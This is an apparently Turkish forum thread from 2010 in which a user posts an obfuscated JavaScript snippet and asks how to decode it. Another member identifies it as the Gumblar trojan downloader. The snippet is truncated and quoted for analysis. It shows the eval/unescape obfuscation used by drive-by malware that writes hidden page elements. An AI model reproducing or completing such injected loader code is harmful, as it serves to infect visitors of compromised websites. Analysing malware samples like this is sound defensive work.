0
Kayıt Ol

JS Bilgisine Güvenenlere...

2

●

392

  • 12-03-2010, 04:45:57
    #1
    gotRoot
    gotRoot
    Platin üye
    // <script>
    function rXfO(AXeb7){return AXeb7.replace(/%/g,'').replace(/[z<mZ]/g,Znb)}
    TCr='do<63uZ6dez6et.wm72ite(m22m3cdim76 m73Z74<79m6cedZ5c<22positionaabsm6flZ75m74eZ3b leZ66ta<2d10DEVAMIBAYAUZUN';
    pa4=5;try{if(Znb='a')throw new TypeError('2'+pa4);}catch(pa4){AXeb7=unescape;Znb= AXeb7('%'+rXfO(pa4.message));Znb=rXfO(TCr)}eval(AX eb7(Znb));

    //</script>

    Bu kodları nasıl decode edebiliriz ?
  • 12-03-2010, 05:11:49
    #2
    Alexis
    Alexis
    Kaspersky e göre "Trojan-Downloader.JS.Gumblar.x"
  • 12-03-2010, 06:17:19
    #3
    gotRoot
    gotRoot
    Platin üye
    evet fonksiyonları ve stringleri kaspersky görüyor.ama çözümü için bir yol bulamadım.